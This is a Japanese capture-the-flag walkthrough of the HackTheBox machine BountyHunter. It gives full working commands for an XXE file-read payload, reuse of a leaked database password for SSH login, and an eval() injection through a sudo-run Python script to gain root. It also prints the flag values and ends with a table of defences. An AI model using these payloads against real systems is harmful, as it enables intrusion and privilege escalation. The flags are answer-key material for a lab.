HackTheBox: BountyHunter — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http
→
22/ssh, 80/http
log_submit.php
XMLバグ報告フォーム
→
XMLバグ報告フォーム
XXE (file:// / php://filter)
tracker_diRbPr00f314.php
→
tracker_diRbPr00f314.php
db.php漏洩
admin:m19RoAU0hP41A1sTsq6K
→
admin:m19RoAU0hP41A1sTsq6K
パスワード再利用
development:同一PW
→
development:同一PW
SSH → user.txt ✓
→
ticketValidator.py
sudo NOPASSWD
→
sudo NOPASSWD
.md内eval()インジェクション
→
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.95.166 nmap -sV -sC -p 22,80 10.129.95.166
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Bounty Hunters Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
サイト内の手がかり — About欄とポータルページ
BASH
curl -s http://10.129.95.166/ | grep -i "subheading\|portal" curl -s http://10.129.95.166/portal.php
RESULT
Bounty Hunters - Security Researchers - Can use Burp
(portal.php)
Portal under development. Go <a href="log_submit.php">here</a> to test the bounty tracker.
ℹ️
「Can use Burp」という文言が、プロキシでリクエストを観察・改竄することを
示唆している。
portal.phpは開発中と明記され、代わりに
log_submit.php(バウンティ報告フォーム)を試すよう案内される。
log_submit.php & 提出スクリプトの確認
BASH
curl -s http://10.129.95.166/log_submit.php curl -s http://10.129.95.166/resources/bountylog.js
RESULT (本検証の実際のレスポンスより)
<h1>Bounty Report System - Beta</h1> <input ... id="exploitTitle" ...> <input ... id="cwe" ...> <input ... id="cvss" ...> <input ... id="reward" ...> <input type="submit" onclick="bountySubmit()" ...> // bountylog.js function returnSecret(data) { return Promise.resolve($.ajax({ type: "POST", data: {"data":data}, url: "tracker_diRbPr00f314.php" })); } async function bountySubmit() { var xml = `<?xml version="1.0" encoding="ISO-8859-1"?> <bugreport> <title>${'$'}{$('#exploitTitle').val()}</title> <cwe>${'$'}{$('#cwe').val()}</cwe> <cvss>${'$'}{$('#cvss').val()}</cvss> <reward>${'$'}{$('#reward').val()}</reward> </bugreport>` let data = await returnSecret(btoa(xml)); }
🚨
重要発見: フォームの送信先は
log_submit.php自身ではなく、
難読化された別エンドポイントtracker_diRbPr00f314.phpである。
フォーム入力値はXML文書に組み込まれた上でbtoa()(base64)エンコードされ、
dataというフォームフィールド名でPOSTされる。XMLをサーバー側で
パースしている時点でXXE(XML External Entity)脆弱性を疑うべき実装。
resources/README.txt — 開発メモ
BASH
curl -s http://10.129.95.166/resources/README.txt
RESULT
Tasks:
[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions
ℹ️
「まだDBに接続されていない」というメモ通り、送信したバウンティ報告は
実際には保存されず応答メッセージとしてエコーバックされるだけ。
この性質が、XXEで読み取ったファイル内容をそのままレスポンスとして
観測できる足がかりになる。
PHASE 2
XXE (XML External Entity) 脆弱性の発見と悪用
基本ペイロードで動作確認 — /etc/passwd読取
NOTE
XMLのDOCTYPE内でカスタム外部実体(ENTITY)を定義し、本文中で参照させることで、 サーバー上の任意ファイルの内容をXMLパーサーに読み込ませてレスポンスへ 反映させる、典型的なXXE攻撃。title要素の中身を &xxe; に置き換えて 送信するだけで、応答のTitle欄にファイル内容がそのまま表示される。
BASH (XMLペイロード作成)
cat > xxe1.xml <<'EOF' <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <bugreport> <title>&xxe;</title> <cwe>test</cwe> <cvss>test</cvss> <reward>test</reward> </bugreport> EOF B64=$(base64 -w0 xxe1.xml) curl -s -X POST http://10.129.95.166/tracker_diRbPr00f314.php \ --data-urlencode "data=$B64"
RESULT (本検証の実際のレスポンスより抜粋)
If DB were ready, would have added:
<table>
<tr>
<td>Title:</td>
<td>root:x:0:0:root:/root:/bin/bash
...
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
...
</tr>
</table>
✅
XXE成功!
/etc/passwdの内容を読み取れた。
一般ログインシェルを持つユーザーはdevelopment(uid 1000)のみ。
⚠️
実装上の注意: XMLはそのまま生でPOSTせず、必ずbase64エンコードして
dataパラメータに載せる(bountylog.jsと同じ方式)。
XML宣言のencoding="ISO-8859-1"は、base64化前のバイト列に
+等の問題になりうる文字を含めないための元アプリの工夫。
php://filterでdb.phpのソースコードを取得
NOTE
PHPファイルを file:// で直接読もうとすると、サーバーがPHPとして実行して しまい(あるいはインクルード時の相対パス問題で)ソースコードそのものは 得られないことが多い。そこでPHPの php://filter ラッパーを使い、 ファイルの中身を実行せずbase64エンコードした状態でそのまま出力させる (convert.base64-encode)。これによりPHPソースコードの平文を取得できる。
BASH
cat > xxe2.xml <<'EOF'
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
EOF
B64=$(base64 -w0 xxe2.xml)
RESP=$(curl -s -X POST http://10.129.95.166/tracker_diRbPr00f314.php \
--data-urlencode "data=$B64")
echo "$RESP" | grep -oP '(?<=<td>)[A-Za-z0-9+/=]{20,}(?=</td>)' | base64 -d
RESULT (本検証で実際にデコードした内容)
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
✅
平文パスワード奪取成功!
db.phpのソースから
データベース接続用パスワードm19RoAU0hP41A1sTsq6Kを取得した。
PHASE 3
パスワード再利用の発見 & user.txt取得
SSHでのパスワード再利用を試行
NOTE
/etc/passwd から判明した唯一の一般ユーザー development に対し、 db.php から漏洩したデータベースパスワードをそのままSSHパスワードとして 試す(Easy難易度マシンで頻出する「パスワード使い回し」パターン)。
BASH
sshpass -p 'm19RoAU0hP41A1sTsq6K' ssh development@10.129.95.166 \ "id; cat /home/development/user.txt"
RESULT (本検証の実際の出力)
uid=1000(development) gid=1000(development) groups=1000(development)
223bff86d0d49894ea76c0f0e2453b36
✅
ログイン成功! データベース用パスワードがOSアカウント
developmentのSSHパスワードとしてそのまま再利用されていた。
user.txt — development
223bff86d0d49894ea76c0f0e2453b36
PHASE 4
sudo実行可能スクリプトのeval()インジェクション — root.txt取得
sudo権限の確認
BASH
sudo -l
RESULT (本検証の実際の出力)
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
ticketValidator.py のソース解析
BASH
cat /opt/skytrain_inc/ticketValidator.py
PYTHON (本検証で実際に確認したソースの核心部分)
def evaluate(ticketFile):
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
return False
🚨
脆弱性の核心: .mdファイル内の特定行(
**から始まる
「チケットコード」行)を、**を取り除いただけでPythonの
eval()に丸ごと渡している。渡される文字列が
「% 7 で割った余りが4になる数値 + 任意の式」という条件さえ
満たせば、その「任意の式」部分にos.system()呼び出しを
仕込んでroot権限で任意コマンドを実行できる。
悪意ある.mdチケットの作成
NOTE
フォーマット上の制約をすべて満たす必要がある:
- 1行目: "# Skytrain Inc" で始まる
- 2行目: "## Ticket to " で始まる(末尾に半角スペース必須。無いと解析エラー)
- "__Ticket Code:__" という行を置き、その次の行が実際のコード行になる
- コード行は "**" で始まる
- "**" を除去した残りの文字列から "+" で分割した最初の要素を
int()変換し、7で割った余りが4になる必要がある(例: 102 % 7 == 4)
- その後 eval() に渡されるのは "**" を除いた行全体 なので、
102の後ろに正当なPython式として os.system(...) を連結できる
BASH (悪意ある.mdファイルの内容)
cat > pwn.md <<'EOF'
# Skytrain Inc
## Ticket to
__Ticket Code:__
**102+ 10 == 112 and __import__('os').system('cat /root/root.txt > /tmp/.r00t; chmod 644 /tmp/.r00t') == False
EOF
ℹ️
102 + 10 == 112は常に真(True)、os.system(...)は
コマンド成功時に戻り値0を返す(Pythonでは0 == Falseが真)ため、
全体としてeval()の副作用(コマンド実行)さえ起きれば
スクリプト側の最終判定(Valid/Invalid)自体はどちらでも実害はない。
sudo経由で実行 & root.txt取得
BASH
printf '/home/development/pwn.md\n' | \ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py cat /tmp/.r00t
RESULT (本検証の実際の出力)
Please enter the path to the ticket file.
Destination:
Invalid ticket.
117dc82c1f6be774b7826fbf34a60f1f
✅
root化成功! スクリプト自体の判定結果は「Invalid ticket」だが、
これは
eval()が実行される副作用としての
os.system()呼び出しには一切関係なく、既に
/root/root.txtはroot権限で/tmp/.r00tへコピー済み。
root.txt — sudo ticketValidator.py eval() injection
117dc82c1f6be774b7826fbf34a60f1f
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — development
223bff86d0d49894ea76c0f0e2453b36
root.txt — sudo ticketValidator.py eval() injection
117dc82c1f6be774b7826fbf34a60f1f
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| XXE (XML External Entity) | tracker_diRbPr00f314.php (バウンティ報告フォーム) | サーバー上の任意ファイル読取・PHPソース開示 | Critical | file:// で/etc/passwd、php://filter/convert.base64-encode でdb.phpソースを取得 |
| パスワード再利用 | db.php の $dbpassword ↔ OSアカウント development | SSHでの不正ログイン | High | 漏洩したDBパスワードをそのままSSHパスワードとして使用 |
| eval() によるコードインジェクション | /opt/skytrain_inc/ticketValidator.py (sudo NOPASSWD) | 権限昇格 (root) | Critical | 緩い書式チェックのみでユーザー制御文字列を丸ごとeval()に渡している隙を突く |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap, バウンティ報告フォーム発見 | 22/ssh, 80/http、tracker_diRbPr00f314.php |
| 2 | 情報漏洩 | XXE (file:// → php://filter) | db.phpの平文パスワード |
| 3 | 横移動 | パスワード再利用によるSSHログイン | user.txt (development) |
| 4 | 権限昇格 | sudoスクリプトのeval()インジェクション | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| XMLパーサーで外部実体(DOCTYPE/ENTITY)の展開を無効化していない | XMLパース時はlibxml_disable_entity_loader(true)相当の設定や、DTD自体を拒否するパーサー設定を必ず有効化する。 |
| データベース用パスワードをOSアカウントのログインパスワードと同一にしている | 用途ごとに完全に独立したパスワードを発行し、パスワードマネージャー等で一元管理する。パスワードの使い回しを組織的に禁止する。 |
| ユーザー制御可能な入力(ファイル内容)を緩い書式チェックのみでeval()に渡している | eval()/exec()のような動的コード実行は原則使用しない。数値や条件式の検証が必要な場合はast.literal_eval()など安全なパーサーに限定する。 |
| 開発中の未完成エンドポイントが難読化された名前のみで本番公開されている | 「難読化による隠蔽」はセキュリティ対策にならない。未完成・開発用エンドポイントは認証やネットワーク制限を別途かけるか、本番環境にデプロイしない。 |

